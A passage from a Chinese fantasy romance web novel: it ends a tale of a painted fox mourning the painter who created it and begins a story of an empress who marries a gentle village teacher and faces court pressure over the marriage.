月光大半被岩壁遮挡,只有几缕斜斜地照进来,在地面铺展开。
画卷就放在月光即将碰触到的阴影里。
狐狸将画卷推倒,又将其一一展开,让每一幅都受到月光的洗礼。
在它做这些动作的同时,一些异样发生在身上。
它在消散。
在缓慢的,却肉眼可见的,化作无数星粒消散。
受到月光照耀的画卷渐渐浮起荧光,像夏夜里的草丛升起点点萤火虫,最终汇聚在一起,融入已经消散大半的狐狸身体中,修补它。
它知道自己的存在不过一天半夜,若没有这些荧光的及时修补,它会彻底消散。
而这些荧光,来自那支画笔,只不过在月光下更强烈地激发出来。
身体完全恢复到原样,狐狸趴在地上,让那些荧光源源不断地没入身体,在画师醒之前,再将一切回归原样。
第二日依旧是个晴朗天气,林中空气清新,阳光将翠绿润色得更加生机。
更重要的是,草地上永远有狐狸的身影。
画师认真思考,他该在这里搭座小屋,长久地在此住下。
回去的安排已经被他抛之脑后,哪怕突然想起跟狐狸提一句,那也会被对方可怜挽留的眼神萌的忘乎所以。
于是,不知觉间,他在这里住了十来日。
于画中狐而言,它的一生也不过这十来日,它降临在这世界,睁开眼看见的第一个人便是画师。
它由画师创造,有限的生命又由与画师相处的点点滴滴组成,它不知道自己对画师是什么感情,只知道,它不想离开对方,也不能离开。
但它本就由笔尖灵气凝聚,存在时间连一天一夜都达不到,但凡有一日画师没有画狐,它就会消失。
但变故来了。
这处灵山本就不是什么绝对安全的地方,看似为欲天宗地界,受其保护,但侧面也看出,这处地界魔孽肆虐,那片红雾林内的妖魔更是常常出来伤害生灵。
那日依旧是天气晴朗、阳光明媚,草坪上的狐狸自在地玩耍嬉戏。
而在湖边,画师提起画笔,挥袖洒磨,顷刻间便在笔下凝聚出一只栩栩如生的狐狸。
石台前,棕红色的狐狸静静站立,眼里全是画师。
就在世界最宁静的时候,一片嗡鸣骤然响起,将这片宁静打破。
嗡鸣里夹杂着肆笑与撕破空气的裂响,不由分说灌入耳中,让人呼吸一紧。<
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大片红色从林中蔓延过来,像一层红色薄纱,轻轻将森林笼盖,但所到之处,血腥味弥漫,生机无存。
湖边的一切生灵在瞬间被夺去了生命,那些娇憨的狐狸,那些翩飞的蝴蝶,那个,作画的人……
“因我本就不算生命,竟逃过一劫。”画中狐道。
“难怪这里一只狐狸都没有。”江余客恍然。
后来,欲天宗派来弟子清除魔孽,将这红纱掀开,还回曾经的宁静,从湖面拂来的风将血腥气吹散,空气依旧清新,只是……
这里再没有生机。
唯有一只小狐狸孤零零地站着,身旁的石台上还铺展着画了一半的画作,一根画笔静静躺在草坪上。
它耷拉着耳朵,好久没有回过神。
它傻傻的,想像画师将它画出来那样将画师画出来,于是它用尾巴卷起画笔,在那只画了一半的狐狸旁画上一个人。
如果画师是心有狐狸,那它就是心有画师,只要它一闭眼,脑子里全是画师的身影,对方笑起来的样子,对方说话的样子,对方躺在草地上的样子……
它画了一幅又一幅画师,等到了晚上,它便看着星光凝聚出它思念的人。
于是第二天,它依旧与画师嬉闹玩耍,它将画笔递给对方,摆好动作,只是……这个画师不会作画。
它终于明白,它无法发挥出神笔的全部威力,没法画出真正的画师。
但它依旧画画师,只是将凝聚画师的灵力用在自己身上,于是,它变成了画师,会画画的画师。
“你之前说,只要画师一日不作画,你就会消散,你现在还活着,是因为你为自己作画?”孟梨食看着它,“可你又说过,没有画师,你不愿活下去。”
她在一点点引出对方心底在意的东西。
“因为这些画。”画中狐道,视线落在石台另一边被卷起来,堆成小山般高的画上。
孟梨食略有些失望,瞧了一眼便将视线移回来,悄悄落在对方手中的画笔上。
“你希望我们将这些画带出去吗?”江余客问。
对方点头,“希望它们能遇到能欣赏它们的人,让世人记住,有一个画师,尤擅画狐,画的狐逼真至极。
“他一生唯爱画狐,一生精力也都放在画狐上,为狐生,为狐死。”
“能有如此画工,应当能卖出去不少钱。”孟梨食淡淡道,但只是随口一说,还没见钱眼开到这个地步。
“都可以。”画中狐淡淡一笑,衣袍开始化作星粒。
“还有这个。”它将画笔递出,“我知你喜欢它,只要你们能帮我这个忙,这只神笔便赠予你。”
孟梨食态度瞬间转变,忙接过笔,连连点头,拍着胸脯道:“我办事,你放心!”
画中狐的整个下半身都已化作星光,飘散在这处仿佛与世隔绝的风景中。
他喃喃,好像自言自语道:“他尤擅画狐,画的大部分也都是我,我多活的这几日,也练就一手画技,将他画得仿若能从画中走出来般。
“虽不知他姓甚名谁家住何方,但好歹,他的画像可以流传出去。”
说完,它闭上了眼睛,再无遗憾,任自己散于这世间。
“诶,等等啊!”孟梨食连忙喊道,对方完全消散,就连星粒也被风吹向远处。
“还想再争取一下呢。”孟梨食撇了撇嘴,她还计划着对方说完故事后再劝几句,或者以这些画为要挟,让对方买一碗水。
她看着手中的笔,“不知道能卖多少钱。”
“这可是神器!”小魂大惊,差点就要出手将笔夺过来。
“哦,”孟梨食随手扔进空间袋,“那便赠予有缘人吧。”
“别忘了这些画,一起放进去啊!”小魂急道。
“知道了。”
最后的狐消失了,留存的画也没了,此后,这处地方再无人记得。
41. 女帝与先生(1)
耽搁许久,几人终于下了山。
“我记得马车就在附近,应该不会被山匪偷走吧。”江余客担忧道。
提起这个,小魂不由的生气,冲着孟梨食大声道:“都是你,让你这么急,最起码让我将马车拴好啊!”
孟梨食脚步一顿,小魂心中一惊,完,它好像骂过头了,对方不会动手吧。
孟梨食却是笑笑,“喏,有人帮我们看着马车呢。”
两人顺着她的视线看去,果见他们的马车旁守着四五个人,不远处还有辆更豪华的马车。
那些人也明显看见他们,其中一个女子笑着走来,倒是没有什么恶意的样子。
“这位可就是闻名江湖的卖水人?”对方看向孟梨食,微微躬身行礼。
孟梨食十分受用,点头道:“是我。”
女子笑道:“在下知微,俞国掌印女官,奉陛下之命请你过去,还请你们走一趟。”
“陛下?”小魂睁大眼睛,“俞国的那位女帝?”
“正是。”女子拿出一块玉佩,玉佩上刻着龙纹,上面“如朕亲临”四字虽言简意赅,却充满帝王威严。
毫无疑问,这种让人惊讶的话是真的。
女子刚做出请的手势,一道蓝风冲了过去,“见陛下诶,我还没见过。”
“那便走吧。”孟梨食抬脚,从愣住的女人身前走过。
几人被请上另一辆马车,那位女子坐在外面,半侧着身。
“我们要进皇宫吗?我还没去过呢!”小魂格外激动。
“并不。”女子温声道,“地点就在前面一座山脚的镇子里。”
“啊——”小魂肉眼可见地失落下来。
女子忙道:“要是各位想去皇宫瞧瞧,我做主可带你们去,将你们奉为座上宾招待。”
小魂正要赞同,孟梨食一把捂住它的嘴,“不了。”
一般有人喝了忘情水,卖水人就会避免出现在买水人眼前,以免对方想起些什么。
“唔唔!”小魂终于挣脱开孟梨食的手,正要抱怨,孟梨食忙道:“等回了地府,我带你去森罗殿逛逛。”
小魂浑身一惊,连忙后退,“你别害我,我还不想死呢!”
孟梨食耸耸肩,倒是不由思忖起来:堂堂一国皇帝,为何会在山郊野外会见我这种贵客,实在可疑。
山脚坐落着一座小镇,倒也没有孟梨食想的那般是荒郊野外之地。
小镇还算热闹,马车在街道上驶过,停在一家客栈前。
那女子跳下马车,“还请各位跟我来。”
她引着他们进入客栈,上了楼,最后推开一扇木门,对他们道:“陛下就在里面。”
搞这么神秘,我倒要看看是怎么回事。
孟梨食踏步进去,一眼看见圆桌后,依偎在一起的两人。
她愣了愣,好像不太对。
见到来人,桌后两人微微分开。
“坐吧,久闻卖水人大名,没想到有一天我竟会主动找上你。”那女子自嘲一笑,笑中却更有些悲凉。
孟梨食在他们对面落座,面前女子自有一股威严,不用想也知道是俞国女帝,而旁边的男子,看起来温柔淡雅,有一股书生气,不像是后宫妃子。
“咳!”她收回打量的视线,道:“我的规矩,先告诉我你们的故事,然后用你们身上钱财的一半作买水钱。”
她估摸着,都是皇帝了,钱财的一半估计也丰厚得不得了。
女帝点头,注意到身旁人的视线,握紧了对方的手,好似温情无限,恩爱异常,但在现在要买忘情水的目的下,竟有些讽刺。
她看向孟梨食,道:“那时我还只是皇太女,出宫拜访隐居的守拙隐士,却得知对方早已云游四海……”
隐士居住的木屋已落了锁,院前的菊花顾自盛开。
“罢了,走吧。”俞昭收回目光,抬头望了望,日头高悬,几只鸟儿振翅奋飞,最终消迹于天涯。
知微从小伴着殿下,从那一瞥中看出对方心中所想,安慰道:
“守拙隐士生性喜自由,十年前陛下亲自去请入宫辅佐,哪怕以高官厚禄为礼也未见隐士答应。”
“孤知晓。”俞昭神色平静。
她见过不少这样的隐士,还有那些江湖潇洒的侠客,在他们心中,自由贵于一切,她总不能为了自己将他们绑进宫,困在身边吧。
马车朝着原路返回,穿梭在稀疏林中。
看出对方心中郁闷,知微道:“殿下难得出宫,何不微服私访,体察民情?”
一般而言,太女体察民情需经皇帝批准,但俞昭早已掌权,皇帝对她信任有加,自是不会在意这些。
况且,只是顺道微服私访,最主要目的还是希望殿下散散心,一切都有理由解释。
俞昭正欲点头,一道朗朗读书声透过车壁,清晰地传入耳中。
见殿下神情微动,知微忙喊道:“停车!”
她为对方撩开车帘,俞昭远远看去,见半山腰有一小筑,竟是书院。
此处距离国都还有些距离,山脚稍远些有一小镇。
“殿下,可要去看看?”
“去吧。”
马车停在山脚,其余人留在此处,俞昭只让知微陪着上去。
到了学堂门外,可以瞧见里面院中的淡雅布局,一瞥被阳光斜斜穿过的门廊。
空气中夹有旧书、墨锭和木头混合的沉静气味,随着微风轻轻送出门外。
就在两人张望时,一道月白色身影靠近,问:“二位何事前来?现在还未到下学的时候。”
俞昭视线落在面前人身上,见对方面容清瘦,眼神温和,一身月白色外袍,头顶束着儒生的发髻,用一根简单的竹簪固定,左手握着一册书卷。
年纪轻轻,举止文雅,自带书生气。
她打量的视线落入对方眼中,对方依旧带着淡笑,投来的视线点到即止。
俞昭眉头一挑,自然移开视线,这时,一旁的知微道:“先生误会,我们从山脚路过,听见书声朗朗,忍不住上来看看。”
她注意到两人间微妙的气氛,侧身道:“这是我家小姐。”
先生拱手作揖,“在下林听潺,是这青山书院的先生,二位若是有兴趣,不妨进来瞧瞧。”
二人被迎进院中,朗朗书声已经没有,透过卷起的竹帘,可以看见孩子们伏案练字的身影。
一路悠悠转着,先生为俞昭介绍起这书院布局,知微自觉落后几步,给两人留足空间。
转了半圈,林听潺对身旁人道:“院角有一亭子,里面备有清茶,用山泉水泡的,姑娘可去品品。”
知微闻言,落在先生脸上的视线多停两秒,无声笑笑,道:“小姐,我去别处逛逛。”说罢快步离开。
俞昭坐在亭中石凳上,左边是道崖,由木栏围着,俯瞰下方山野,视野极佳。
面前男人无言置茶冲泡,手法娴熟,动作灵活。
茶叶在壶中翻滚,一股清冽的香气顿时弥漫开来。
“居住在此,真是闲适自在。”俞昭感叹一声,“先生是个喜爱山水之人。”
“山水在心中。”林听潺却回。
两人在亭中坐了许久,伴着清茶似有说不完的话。
俞昭难得有这闲雅时刻,面前男人每一点都长在她心上。
直到知微不得不闯进来,打破两人都不愿停止的谈话。
“小姐,天晚了,该回去了。”
俞昭只得站起身,对面的人同时起身,欲言又止地看着她。
俞昭下意识想说日后再来拜访,但话刚到嘴巴,又被她换成:“三日后我再来叨扰。”
“日后”总没有具体的时间好
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。
林听潺笑笑:“路上小心。”
对方一直送到山腰往下一点,看着她上了马车消失在视野中才回去。
俞昭生来尊贵,周围的人都告诉她,只要是她想要的,便会有无数人将其奉上来。
现在,心中有个声音明确地说,你想要那个人,那么,无需他人出手,她自己就会得到那个人。
不日她就会登基,成为俞国最尊贵的人,那时,她会把那个人迎进宫中。
她急切地想要得到那个人,多余的事一点也没去考虑,从未想过,日后自己有那么几个瞬间会后悔……
登基前这段时间她忙得脚不沾地,但她依旧把时间挤出来,按照约定,三日后再次来到青山书院。
青山依旧,人与风景都在期待她的到来。
确定此处没有危险,知微也就不上来碍眼,与其他人在山脚等着。
望着半山腰的书院,她不由得为自家殿下高兴,身为皇太女,多少男儿想入东宫后院都没机会,现在看来,等殿下入住皇殿,这后宫将迎来第一位主子。
书院的门依旧敞开,将院内翠竹与青石暴露在俞昭眼前,如她第一次来那般。
林听潺就站在院门前,被几个孩子围着。
他弓着身,伏案提笔,不知在做些什么。
俞昭见对方专注,不想打扰,却没想一个孩子注意到她,喊道:“先生,有个奇怪的人在看我们。”
奇怪的人?好吧,俞昭认了这小屁孩的前半句,不过她眼中只有一个人。
林听潺搁下笔,抬头看向院门,笑了笑。
“没想到姑娘真来了。”他走过去,脸颊微粉,更衬得人肤白衣青——
对,面前这人今日穿了身青衣,更与墨发间的竹簪相配,与这片景相搭。
俞昭视线微晃,自动忽视一双双好奇看来的眼睛,落在书桌上,问:“这是在做什么?”
“作画。”林听潺引着对方进来,那群孩子自觉让出路。
“我昨日在山间发现一株兰花,见长得花姿优雅,碧绿通透,便挖了回来栽种,今日心血来潮以此作画。”
俞昭瞧了,奈何文学造诣不高,只说得出“画得真好”这种单调的话来。
林听潺却极其受用,笑着将视线落回画上。
孩子们见状,纷纷仰着小脸学着对方夸奖:
“画得真好!”
“先生,画得真好!”
“画得真真好!”
林听潺被这群孩子逗笑,道:“好了,都温习功课去,待会我来抽背。”
孩子们拖长音调“啊”了声,“是——”个个撇着嘴,丧丧地回了室内。
林听潺收回视线,刚落在身旁人身上,仿佛被烫到般急忙收回,盯着画道:
“这幅画还缺些题字,不如交给姑娘。”
“那便献丑了。”看见对方害羞的模样,俞昭说不出什么拒绝的话来,况且,她也希望留下些什么,让对方一见便想起自己。
也好在太师在写字上对她尤其严厉,生生给她逼出一手好字。
她挥笔写上,一会后搁笔道:“真是献丑了。”
林听潺却是惊叹道:“哪里的话,铁画银钩,倒为这株兰花多添了些君子劲道。”
作完画,林听潺便带着对方去到院子另一边,同赏他从林中挖来的花花草草。
“姑娘,”犹豫许久,林听潺终于开口,脸颊粉红得厉害,“我有个东西想送给姑娘,还望姑娘莫要觉得唐突。”
何止不觉得唐突,俞昭简直觉得惊喜至极,忙道:“先生送的,无论是什么,我都会好好珍惜。”
林听潺捧出根簪子,簪体以青玉为材,雕琢出三截竹子模样,逼真得恍如一根微缩的真竹。
俞昭一愣,一个男子送一个女子簪子,这在俞国可是那种意思……
42. 女帝与先生(2)
俞昭看向对方,却只看见一双眼神躲避的眼睛,还有粉中透红的脸颊。
她轻笑起来,就如她一直认为的那样,只要是她想要的,有的是人将其送上来,包括主动送上来的人。
她将簪子接过,重量是恰到好处的沉实,触手温润生凉,一看就是花了不少心思。
她看着对方,神色认真,直接将话挑明,“无论我什么身份,你都愿意与我在一起吗?”
林听潺有些诧异,没料到对方这么直接,也没料到对方会这么问,不过,无论对方问什么,他都会回答:“是。”
“如果要你去我那里生活呢?需要你放弃这里的一切。”
“放弃……这里的一切吗?”林听潺不得不犹豫,这里不只是他生活的地方,这里还有一群需要他教导的孩子。
看出他的担忧,俞昭道:“我会请来先生教这些孩子,不会比你差很多。”
然而,她会安排最德高望重,最有实力的先生来此教导孩子,这些不过她一句话的事。
“……好。”对方都如此说,那他没什么好迟疑的,他愿意为了喜欢的人舍去一切,愿意拿出整颗心去体验爱。
俞昭呼了口气,如释重负,却是更加严肃道:“好,那你等我,不出半年,我会来接你。”
林听潺越发觉得对方身份神秘,不过他不在意,他认定了这个人,那就会完全信任对方。
他也趁这段时间打点好这里的一切,与前来的先生交接好,与孩子们一一道别。
孩子们哭着拉他,问他为什么离开。
他该怎么解释呢,因为,他要成亲了,光想想,他便忍不住红了脸。
之后几次见面,越是接触,林听潺越是期待成婚那日,俞昭越是坚定要将对方娶到身边的决心。
加上俞昭自己的推动,登基那日很快到来。
在她完全掌握这个国家的最高权力后,她马上宣布立后,人选她已有安排。
听闻这个消息,莫说朝中那些或多或少有些古板的大臣,就连向来支持俞昭一切决定的知微都惊了。
只以为会给那位先生封个妃位,毕竟只是介平民,身后无权无势,就算登上后位,也撑不了多久,却没想到……
龙颜正悦,她不敢惹陛下不喜,也只是提了一嘴,不再多劝。
朝上那群人倒是不怕死,劝的一个比一个起劲,倒是意料之中,当朝皇帝固执的厉害。
那群老臣终于意识到劝不动,便去请来先帝,先帝却是哈哈一笑,以对弈为幌子叫来俞昭,道:
“听闻江湖上有一卖水人,从地府来,专向伤心人售卖忘情水,一碗下去解忧又忘愁啊……”
俞昭嗤笑一声,“我怕是一辈子也尝不到这忘情水的滋味了。”
新帝登基,自然有的是要她料理的事,就算她于其他事上再怎么固执,也不能不管一国百姓,只得修书一封遣人送到林听潺手中,承诺三日后便来迎接。
她日夜不休,终于将这段时间的事务忙完,亲自去青山书院迎接她的皇后。
那时的林听潺依旧不知对方身份,像被坏小子引诱的闺中小姐般,奋不顾身地跟了对方去。
他上了接他的马车,却不知马车驶向的终点,他与未来妻子坐在一起,透过布料,感受对方肌肤传来的温度,却不知对方姓甚名谁家住何处。
后来,俞昭忍不住去想,这个人单纯得厉害,太容易轻信他人,幸亏先被自己遇到。
青山书院的孩子被新来的先生带到山脚,目送马车离开。
林听潺收回视线,思忖,难道对方家住很远吗?那他以后还有回来看望的机会吗?
但当一只手覆上他手背,他又什么都忘了想,一个劲的害羞。
新帝大婚,不知皇后是何方人士。
大殿之内,满目皆红,红得那般庄重而热烈,空气中弥漫着清甜的百合香与蜂蜡特有的醇厚气息。目光所及,红帐拖地,“囍”字各处张贴。
林听潺被带去换衣,出来时已是一身红装,部分墨发被金冠束起,多的青丝垂落身后,数枚小巧金环束在发尾处。
喜红的婚服,配上他粉红的脸颊,让这人的清冷中又透出些羞涩,让人觉得在无声地勾人。
林听潺下了马车就被带去换衣,说要今日成婚,他呆愣地任人将衣物脱下竹簪取下,整个人都还没回过神。
这速度快得他出乎意料,他本以为会和对方在同院不同屋里住几日,将感情再培养些再成婚……没想到……
他脸色红得能滴出血来,却更没想到,他在换衣时被侍从告知,他成婚的对象,乃是当今圣上。
俞昭亦是一身婚服,端庄大气,威严不减。
她牵住对方,听对方轻声道:“陛下,为什么不告诉我你是陛下呢?”
俞昭一边拉住对方行婚礼,一边道:“怕把你吓跑。”
这说的什么话。林听潺微微不满,他还没说些什么,被对方拉着迅速行完礼,一只杯子被塞进手中。
“这是合卺酒。”俞昭道。
两人交杯喝下,林听潺向来喝茶不饮酒,这不知加了些什么的小小一杯酒下肚,脸庞登时火热起来,辛辣的刺激直将他泪水逼出。
俞昭见了,心急地将人往床上拉,一下将其压在大红被褥中。
“太……太快了。”林听潺喘着气,迷蒙地看着身上的人。
“快吗?”俞昭指尖一挑,动作轻缓地将对方婚服解开,露出洁白胸口。
红纱轻晃,烛焰跳动。
“分明是先生你,在第二次见到我时便赠我簪子,想与我情定终生。”她说着,将手伸进对方衣袍,向下摸索。
林听潺难受地轻“唔”一声,双目睁大,旋即粉色漫上全身。
“先生有读书人的风骨,怎么于情事上这么心急呢?”俞昭逗弄着,欣赏对方难耐地喘气。
林听潺颤巍着伸手,搂住俞昭脖子,接着腰身一用力,天旋地转后,他撑在了对方身上。
“我没有。”他反驳,声音弱得毫无说服力,带着丝情动的沙哑。
俞昭躺在床上,满眼都是衣衫凌乱的人,再也忍不住,狠狠亲上去,在床前落下一地红衫金冠……
新婚夜后,俞昭倒是想和她的皇后腻歪在一起,奈何那群大臣本就对她娶的皇后颇多不满,若是她沉溺温柔乡不上早朝,还不知他们会怎么吹胡子瞪眼,将弹劾奏折砸她脸上。
身旁人睡得正香,面朝她侧躺着,呼吸轻缓,衣衫半落,风光无限。
她在对方额上落下极轻的一吻,起身唤人为她更衣,早朝还是要上的。
“好生侍候皇后,若有怠慢,朕饶不了你们。”
众人惊慌应是。
直到午时才下朝,许是昨夜是她的新婚夜,那群大臣不敢触龙颜,半点关于皇后的事都没提,但日后就说不定了。
他们的那些心思俞昭再清楚不过,不过觉得自己只是一时兴起,等腻了,有的是理由将皇后换了。
呵,她偏不让他们如愿!<
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p>下了朝,俞昭急促赶去后宫,寻到那人时对方正在整理从书院带来的物件,多是画卷字帖。
“用膳了吗?住的可还习惯?他们可有怠慢你?”俞昭连问,余光瞥向守在一旁的下人。
“吃了,习惯,没有。”林听潺一一回答,拉着她去看自己整理的东西,拿起一幅画道:“这个给你。”
正是第二次见面时由林听潺作画俞昭题字那幅,被他妥帖带了过来。
俞昭接过画,轻轻放在桌上,握紧对方的手道:“待会我们一起将画送去御书房挂着,我平日忙,你若是寻我直接去御书房。”
她牵着对方走到殿外,走到御花园中,继续道:“我知你不爱打理琐事,凤印放在你这,后宫事务我交由知微打理,你就做你想做的。”
石子路旁,各色娇花迎风欲绽,争奇斗艳。
稍远处有片竹林,竹林里安置有亭子和桌椅,竹林外有几处石山,石山旁有一湖,里面栽着荷花,一座石桥横跨上方。
俞昭道:“你要是来了雅致可在这里作作画,画好后得第一个给我看。”
“好。”林听潺应道。
俞昭遣散下人,与对方闲逛一会,便牵着人带着对方送的画去了御书房。
她将画挂在书架旁,一抬眼便能看见。
御书房内,她伏案批奏折,林听潺便在书架上找书看,或是在另一边书桌上练字。
日子平淡又甜蜜地度过。
俞昭每日安排都被固定住,上朝,陪林听潺,下午与一些密臣谈事,陪林听潺,晚上批奏折,陪林听潺……
陪他用餐,陪他漫步,陪他作画,陪他睡觉……
俞昭没去细想为什么自己恨不得每时每刻待在对方身旁,她没注意到自己心里也是有些害怕的。
晚间的风微凉,俞昭还算早地处理完公务,去到后宫一看,没见到林听潺身影,心里一咯噔,幸而殿中侍从及时道:“皇后去了汤泉宫。”
俞昭提起的心并未因此落下,速速摆驾去了汤泉宫。
等她真真见了池中人影,才微不可察松了口气。
知对方容易害羞,俞昭遣散下人,边将自己衣袍脱了,边问:“怎么突然想着来汤泉宫?”
“散步时偶然发现的,就想来看看。”林听潺游到池边,趴着看她,“陛下最近都有些劳累,正好可以下来泡泡。”
俞昭脱尽衣物,捕捉到对方一触即离的眼神,暗笑着下了汤泉。
她靠过去,将对方抱在怀中,看着对方被氤氲水汽逐渐浸润的眼眸,心下一动,在对方唇上落下一吻。
“近些日子冷落了你,今夜统统补偿回来,可好?”
林听潺眼神闪躲,“陛下今日不累吗?”
“日后还有更忙的,今夜先及时行乐。”
俞昭说完,不待对方再说,狠狠亲上去,将泉水扑腾得哗啦作响。
林听潺虽在后宫,可前朝那些事俞昭并不瞒他,他知道,是最近俞国和晟国起了冲突。
俞昭没提,但他也知道,俞国将军,就是被赐了国姓那位,想把他唯一的儿子塞进后宫,下一步便是成为皇后。
这位将军为俞国出生入死,乃是镇国大将军,而厉害的不仅是他,更有他的女儿,近几年风头正盛的少年将军。
听说叫俞闻,是从被称为人间地狱的隐机楼出来的,已经为俞国在与晟国的几场小战中取得多次胜利。
不过,这有什么难抉择的,反正他要的是这个人,又不是什么后位。
43. 女帝与将军(3)
“什么镇国将军,朕看已经老糊涂了。”俞昭将奏折扔回案牍上,重重一哼。
她迟早要将对方的军权收回来,但不是现在。
俞国正与晟国打得火热,她还需要那位少年将军领兵,不过看起来,这位少年将军可比她爹要明事理些。
前朝的老顽固早该替换掉,换成她的人。
林听潺刚踏进殿中,便被殿内的低气压逼得脚步一顿,忧心道:“陛下?”
俞昭顿时笑道,朝门口看来:“想我了?用过午膳了吗?”
怕对方不习惯,她在对方面前依旧用“我”而不是“朕”。
自然,她也不会要求对方自称“臣妾”或者其他什么。
“用过了。”林听潺走到桌边,“陛下在烦心什么?”
俞昭有些犹豫,她不愿让对方知道这些事,但若隐瞒,又怕对方心生隔阂,只得将话说了一半:
“还是打仗的事,两国战事胶着,我自然忧心。”
林听潺深深地看了对方一眼,垂眸望着案牍上的奏折,道:
“陛下,我知道的。”
俞昭站起身,拉住他的手,轻声道:“不用担心,我答应过你,我的后宫只会有你一个人。”
林听潺摇头,“我不是这个意思。”
“难道你希望我娶别人?”俞昭语气一沉,眉眼间明显看出不悦。
林听潺自然是不希望的,没有人愿意将自己爱的人分享出去。
历史上并不缺恩爱帝后,可这不代表帝王后宫只有一人。
世界上最包容的人可能就是后宫中真正爱着皇帝的人了。
“我知道你爱我就够了。”
“我只爱你。”俞昭厉声纠正道。
看着对方好像被自己吓到的样子,俞昭声音缓了下来:“听潺,你有没有想过,如果我同意一个,那么就会有无数个送进来。”
“就算我不去理会他们,就算你不当皇后,那群人可都不会是省油的灯。”
俞昭自小在这深宫长大,里面的勾心斗角她不愿对方窥见一点。
“哪怕我心属于你,形式上我也不愿亏了你。
“而且,他们大多是被家中逼进宫,与我素未谋面,我也不愿他们在这费了青春,费了时光。
“若我后退一步,对谁都不好。”
林听潺怔住了,握着桌沿的手用了力又松下来,整条手臂无力地垂下,“是我思虑不周。”
俞昭撩起对方脸庞青丝,道:“这种话日后莫要再说了,我会处理好一切。”
她说得云淡风轻,但处理起来却是极其棘手。
俞昭与镇国将军僵持着,她不愿对方儿子进宫,对方不愿交出兵权,但好在,那位叫俞闻的少年将军倒是一心为国为民,麾下军队对其忠心不二。
且,镇国将军年纪毕竟大了,军中诸事大多交给其女。
俞昭计划好,等最后一战大胜,她会设下庆功宴,届时与那位将军私聊。
不过半年,俞国与晟国大战,苦战三月,在最后一役中,以俞闻杀死敌将为节点,战争很快落幕。
俞国大胜,全国大庆。
俞昭龙颜大喜,正吩咐着设下庆功宴,却得知,那位打了胜仗的将军疯了,原因不明。
俞昭的心瞬间沉到谷底,情况变得棘手了,兵权又回到镇国将军手中,且她暂时找不到与之匹敌之人。
更让她烦心的是,俞老将军没了能接他班的女儿,他年纪又大了,为了巩固他那将军府的地位,他定会不择手段将唯一的儿子送进后宫,送上皇后的位置。
而那些大臣,也会让她念在俞将军为国征战的份上,让其弟进宫。
而一旦开始,便会有二有三。
俞昭遣人四处寻医,比俞老将军还希望他女儿好起来。
这次庆功宴,俞小将军因为身体原因没能参加。
林听潺算是第一次与诸大臣见面,俞昭本不想带对方来,但不合规矩不说,还怕林听潺误会、难过。
宴会进行到一半,传来俞闻自杀未遂的消息。
众人大惊,也无心思于歌宴上,匆匆散了。
第二日,俞昭亲自去俞将军府中看望据说是病重的俞小将军,也为得是探个虚实,毕竟事情发生的实在是蹊跷。
结果去了场空,得知俞老将军在定阳巷为其女置办了间安静宅子养病。
“无妨,朕再过去一趟。”俞昭转身欲走,俞老将军忙道:
“陛下难得来一趟,何必着急,不妨喝口水歇歇。”
对方说完,一个少年端着茶盘进来。
俞昭心里警铃大作,她就知道这老狐狸没安什么好心,面前这还算有些姿色的少年想必就是其儿子了,光容貌上就比不过她家皇后,更莫说其他的了。
“见过陛下。”少年搁下茶杯,后退半步,腼腆笑着。
俞昭心中点评:“笑得也不如我家皇后好看,比清纯羞涩也不及我家皇后一半。”
她暗暗摇头,也不知这老狐狸哪来的自信,以为让我看一眼他儿子的真容,我就会改变主意吗?
这茶,也不知会不会下了料,不喝了。
俞昭冷笑道:“朕的护国功臣还病着,朕哪有什么喝茶的心思。”
她重重“唉”了一声,做足了为其忧愁的姿态,脚下抹油似的离开。
她走出将军府,对跟在身旁的知微苦笑道:“听潺若未提起便不要说,若是提起如实说。”
知微点头应是。
去了定阳巷俞将军修养之地,她亲自看了,才真觉得对方病得严重,神志已然不清。
对方一直在念着一个名字,含含糊糊。
俞昭凝神去听,听到“断水”两个字,不像名字,倒像个代号。
她只得吩咐下人将对方照顾好,继续下令四处寻医救治,便回了宫。
俞昭身心俱疲,回宫后直接去了皇后住的中宫。
知微为其撩开珠帘,等对方过去后便退下。
俞昭看向桌后的人,见对方眉眼含笑,自己也忍不住扯着僵硬的脸,露出笑来,“什么事这么高兴?”
“回来了?来看看。”林听潺朝她招手,“书院的孩子们给我寄了信。”
俞昭一手揽着对方肩膀,弯腰去看他手中的信件,上面歪歪扭扭的字,诉说着孩子们对他们先生的思念。
“我要回去看看。”林听潺朝对方靠了靠,将头亲昵地搭在她肩头,仰头看她。
俞昭下意识要拒绝,她对这人本就有着占有欲,近来随着大臣纳妃奏折增多而放大。
拒绝的话落在舌尖,最终在对方期待的目光中吞了回去。
“好。”俞昭温柔一笑,“过几日等我不忙了陪你去。”
她知道自己没有不忙的时候,除了平日递上来的奏折,俞国大胜后她还要处理晟国投降之事,更要应付一群大臣催她换后纳妃。
她潜意识还是不希望对方回去的。
“陛下,我自己去就可以了,你闲下来就好好休息。”林听潺犹记得从青山书院来皇宫时,坐了一上午的马车,郊外那段路崎岖不平,可算不上享受。<
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p>俞昭正要拒绝,林听潺又放缓了声音道:“我明日就想回去,回去后还想住段时间。”
俞昭更要拒绝了。
林听潺拿着数张信纸,叠起来有不薄的厚度,每一封都来自一个挂念他的孩子。
林听潺慢慢翻着,自语道:“虎牙这孩子字有见长进,不错,我不在的这些日子功课没有懈怠。
“春来说新先生教他们学诗了。
“他们去后山玩,为我挖了两株兰花,他们还说海棠花开了,画了幅画给我瞧……嗯,画技有待提升。”
林听潺絮絮说着,脸上带着笑,时不时佯装生气一下,但眼里的笑却不减。
俞昭想起先帝说的话,她应该找卖水人买碗忘情水的,让对方喝下去,忘掉除我外的其他人,让对方满心满眼只有我,只知道依靠在我身旁,哪也不想去。
她想,这应该就是忘情水的作用。
“陛下?”
俞昭衣袍被轻轻一拉,她猛地回过神,看见面前之人,下意识笑道:“怎么了?”
“陛下,不可以吗?”林听潺哀求地看向她,俞昭可以想象,如果自己拒绝,对方会垂下脸,呆呆地看着书信不说话,虽然不抱怨,但之后几天都会是蔫蔫的样子,什么都不说,但谁都知道他不高兴。
“可以。”俞昭在心中叹了口气,说。
而对方也如她所想那样咧开嘴,噌的站起身要去收拾东西。
俞昭看见他走出两步,脚步一顿,忽然走回来,又是高兴又是略带羞涩地亲在自己脸上,亲完又如风般离开。
见此,俞昭也忍不住笑起来,也许,她现在的选择才是对的。
林听潺第二日早出发,俞昭派了知微和一支影军伴随,两辆马车,他们坐在后面那辆。
此次出行消息没有外泄,一切都在低调进行。
俞昭要求林听潺每日写信回来,需将一日所做所说统统记下,林听潺欣然答应,落笔字数反而比俞昭想的要多。
五日后,俞昭收到今日的信,信上说明日一早返程,午时便可回到她身边。
